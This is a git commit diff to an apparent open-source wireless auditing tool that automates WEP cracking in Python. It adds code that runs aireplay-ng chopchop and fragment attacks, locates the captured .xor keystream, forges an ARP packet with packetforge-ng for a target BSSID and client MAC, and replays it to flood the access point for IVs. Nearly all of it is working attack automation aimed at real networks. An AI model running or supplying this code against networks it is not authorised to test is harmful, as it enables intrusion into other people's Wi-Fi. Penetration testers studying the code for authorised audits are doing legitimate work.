Packetforge and arpreplay for chopchop/fragment attacks

Confirmed chopchop forges packet and replays as expected.
This commit is contained in:
derv82
2015-06-06 10:47:20 -07:00
parent 64e2c44e17
commit 096dfeaa50
4 changed files with 132 additions and 36 deletions

View File

@@ -3,15 +3,18 @@
from Configuration import Configuration from Configuration import Configuration
from Process import Process from Process import Process
import os
class WEPAttackType(object): class WEPAttackType(object):
''' Enumeration of different WEP attack types ''' ''' Enumeration of different WEP attack types '''
fakeauth = 0 fakeauth = 0
replay = 1 replay = 1
chopchop = 2 chopchop = 2
fragment = 3 fragment = 3
caffelatte = 4 caffelatte = 4
p0841 = 5 p0841 = 5
hirte = 6 hirte = 6
forgedreplay = 7
def __init__(self, var): def __init__(self, var):
''' '''
@@ -49,7 +52,7 @@ class WEPAttackType(object):
class Aireplay(object): class Aireplay(object):
def __init__(self, target, attack_type, client_mac=None): def __init__(self, target, attack_type, client_mac=None, replay_file=None):
''' '''
Starts aireplay process. Starts aireplay process.
Args: Args:
@@ -57,8 +60,24 @@ class Aireplay(object):
attack_type - int, str, or WEPAttackType instance. attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client. client_mac - MAC address of an associated client.
''' '''
cmd = Aireplay.get_aireplay_command(target, attack_type, client_mac) cmd = Aireplay.get_aireplay_command(target,
self.pid = Process(cmd, devnull=False) attack_type,
client_mac=client_mac,
replay_file=replay_file)
# TODO: set 'stdout' when creating process to store output to file.
# AttackWEP will read file to get status of attack.
# E.g., chopchop will regex "(\d+)% done" to get percent complete.
'''
from subprocess import PIPE
sout = PIPE
if '--chopchop' in cmd:
sout = open(Configuration.temp('chopchop'), 'w')
'''
self.pid = Process(cmd,
devnull=False,
cwd=Configuration.temp())
def is_running(self): def is_running(self):
return self.pid.poll() == None return self.pid.poll() == None
@@ -73,13 +92,15 @@ class Aireplay(object):
return self.pid.stdout() return self.pid.stdout()
@staticmethod @staticmethod
def get_aireplay_command(target, attack_type, client_mac=None): def get_aireplay_command(target, attack_type,
client_mac=None, replay_file=None):
''' '''
Generates aireplay command based on target and attack type Generates aireplay command based on target and attack type
Args: Args:
target - Instance of Target object, AP to attack. target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance. attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client. client_mac - MAC address of an associated client.
replay_file - .Cap file to replay via --arpreplay
''' '''
# Interface is required at this point # Interface is required at this point
@@ -156,17 +177,60 @@ class Aireplay(object):
raise Exception("Client is required for hirte attack") raise Exception("Client is required for hirte attack")
cmd.append('--cfrag') cmd.append('--cfrag')
cmd.extend(['-h', client_mac]) cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.forgedreplay:
if client_mac == None or replay_file == None:
raise Exception(
"Client_mac and Replay_File are required for arp replay")
cmd.append('--arpreplay')
cmd.extend(['-b', target.bssid])
cmd.extend(['-r', replay_file])
cmd.extend(['-F']) # Automatically choose first packet
cmd.extend(['-x', str(Configuration.wep_pps)])
else: else:
raise Exception("Unexpected attack type: %s" % attack_type) raise Exception("Unexpected attack type: %s" % attack_type)
cmd.append(Configuration.interface) cmd.append(Configuration.interface)
return cmd return cmd
@staticmethod
def get_xor():
''' Finds the last .xor file in the directory '''
xor = None
for fil in os.listdir(Configuration.temp()):
if fil.startswith('replay_') and fil.endswith('.xor'):
xor = fil
return xor
@staticmethod
def forge_packet(xor_file, bssid, station_mac):
''' Forges packet from .xor file '''
forged_file = 'forged.cap'
cmd = [
'packetforge-ng',
'-0',
'-a', bssid, # Target MAC
'-h', station_mac, # Client MAC
'-k', '192.168.1.2', # Dest IP
'-l', '192.168.1.100', # Source IP
'-y', xor_file, # Read PRNG from .xor file
'-w', forged_file, # Write to
Configuration.interface
]
cmd = '"%s"' % '" "'.join(cmd)
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
if out.strip() == 'Wrote packet to: %s' % forged_file:
return forged_file
else:
from Color import Color
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
Color.pl('output:\n"%s"' % out)
return None
if __name__ == '__main__': if __name__ == '__main__':
t = WEPAttackType(4) t = WEPAttackType(4)
print t.name, type(t.name), t.value print t.name, type(t.name), t.value
t = WEPAttackType('caffelatte') t = WEPAttackType('caffelatte')
print t.name, type(t.name), t.value print t.name, type(t.name), t.value
@@ -188,3 +252,9 @@ if __name__ == '__main__':
print aireplay.get_output() print aireplay.get_output()
''' '''
'''
forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
'A4:2B:8C:16:6B:3A', \
'00:C0:CA:4E:CA:E0')
print forge
'''

View File

@@ -47,7 +47,7 @@ class AttackWEP(Attack):
# There are no associated clients. Warn user. # There are no associated clients. Warn user.
Color.pl('{!} {O}there are no associated clients{W}') Color.pl('{!} {O}there are no associated clients{W}')
Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' + Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
' without fake-authentication or associated clients{W}') ' without fake-authentication or associated clients{W}')
client_mac = None client_mac = None
else: else:
client_mac = airodump_target.clients[0].station client_mac = airodump_target.clients[0].station
@@ -58,10 +58,12 @@ class AttackWEP(Attack):
# Convert to WEPAttackType. # Convert to WEPAttackType.
wep_attack_type = WEPAttackType(attack_name) wep_attack_type = WEPAttackType(attack_name)
replay_file = None
# Start Aireplay process. # Start Aireplay process.
aireplay = Aireplay(self.target, \ aireplay = Aireplay(self.target, \
wep_attack_type, \ wep_attack_type, \
client_mac=client_mac) client_mac=client_mac, \
replay_file=replay_file)
time_unchanged_ivs = time.time() # Timestamp when IVs last changed time_unchanged_ivs = time.time() # Timestamp when IVs last changed
previous_ivs = 0 previous_ivs = 0
@@ -126,30 +128,54 @@ class AttackWEP(Attack):
if not aireplay.is_running(): if not aireplay.is_running():
# Some Aireplay attacks loop infinitely # Some Aireplay attacks loop infinitely
if attack_name == 'chopchop' or attack_name == 'fragment': if attack_name == 'chopchop' or attack_name == 'fragment':
# We expect these to stop once a .xor is created # We expect these to stop once a .xor is created,
# or if the process failed. # or if the process failed.
# TODO: Check for .xor file. replay_file = None
# If .xor is not there, the process failed. Check stdout.
# XXX: For debugging
Color.pl('\n%s stopped, output:' % attack_name)
Color.pl(aireplay.get_output())
continue # Continue to other attacks
# TODO: If .xor exists, run packetforge-ng to create .cap # Check for .xor file.
# If packetforge created the replay .cap file, xor_file = Aireplay.get_xor()
# 1. Change attack_name to 'forged arp replay' if not xor_file:
# 2. Start Aireplay to replay the .cap file # If .xor is not there, the process failed.
Color.pl('\n{!} {O}%s attack{R} did not generate' +
' a .xor file{W}' % attack_name)
# XXX: For debugging
Color.pl('\noutput:\n')
Color.pl(aireplay.get_output())
Color.pl('')
break
# If .xor exists, run packetforge-ng to create .cap
Color.pl('\n{+} {C}%s attack{W}' % attack_name +
' generated a {C}.xor file{W}, {G}forging...{W}')
forge_file = Aireplay.forge_packet(xor_file,
airodump_target.bssid,
client_mac)
if forge_file:
replay_file = forge_file
Color.pl('{+} {C}forged packet{W},' +
' {G}replaying...{W}')
attack_name = 'forged arp replay'
aireplay = Aireplay(self.target, \
'forgedreplay', \
client_mac=client_mac, \
replay_file=replay_file)
continue
else:
# Failed to forge packet. drop out
break
else: else:
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
Color.pl('\naireplay.get_output():') Color.pl('\naireplay.get_output():')
Color.pl(aireplay.get_output()) Color.pl(aireplay.get_output())
continue # Continue to other attacks break # Continue to other attacks
# Check if IVs stopped flowing (same for > N seconds) # Check if IVs stopped flowing (same for > N seconds)
if airodump_target.ivs > previous_ivs: if airodump_target.ivs > previous_ivs:
time_unchanged_ivs = time.time() time_unchanged_ivs = time.time()
elif Configuration.wep_restart_stale_ivs > 0: elif Configuration.wep_restart_stale_ivs > 0 and \
attack_name != 'chopchop' and \
attack_name != 'fragment':
stale_seconds = time.time() - time_unchanged_ivs stale_seconds = time.time() - time_unchanged_ivs
if stale_seconds > Configuration.wep_restart_stale_ivs: if stale_seconds > Configuration.wep_restart_stale_ivs:
# No new IVs within threshold, restart aireplay # No new IVs within threshold, restart aireplay

View File

@@ -126,7 +126,7 @@ class Configuration(object):
Configuration.wep_timeout = args.wep_timeout Configuration.wep_timeout = args.wep_timeout
Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout) Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout)
if args.require_fakeauth: if args.require_fakeauth:
Configuration.require_fakeauth = False Configuration.require_fakeauth = True
Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks') Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks')
if args.wep_crack_at_ivs: if args.wep_crack_at_ivs:
Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs

View File

@@ -12,17 +12,17 @@ class Process(object):
return open('/dev/null', 'w') return open('/dev/null', 'w')
@staticmethod @staticmethod
def call(command): def call(command, cwd=None,shell=False):
''' '''
Calls a command (either string or list of args). Calls a command (either string or list of args).
Returns tuple: Returns tuple:
(stdout, stderr) (stdout, stderr)
''' '''
if type(command) != str or ' ' in command: if type(command) != str or ' ' in command or shell:
shell = True shell = True
else: else:
shell = False shell = False
pid = Popen(command, stdout=PIPE, stderr=PIPE, shell=shell) pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell)
pid.wait() pid.wait()
return pid.communicate() return pid.communicate()
@@ -35,7 +35,7 @@ class Process(object):
return True return True
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE): def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None):
''' Starts executing command ''' ''' Starts executing command '''
if type(command) == str: if type(command) == str:
@@ -55,7 +55,7 @@ class Process(object):
self.start_time = time.time() self.start_time = time.time()
self.pid = Popen(command, stdout=sout, stderr=serr) self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd)
def __del__(self): def __del__(self):
''' '''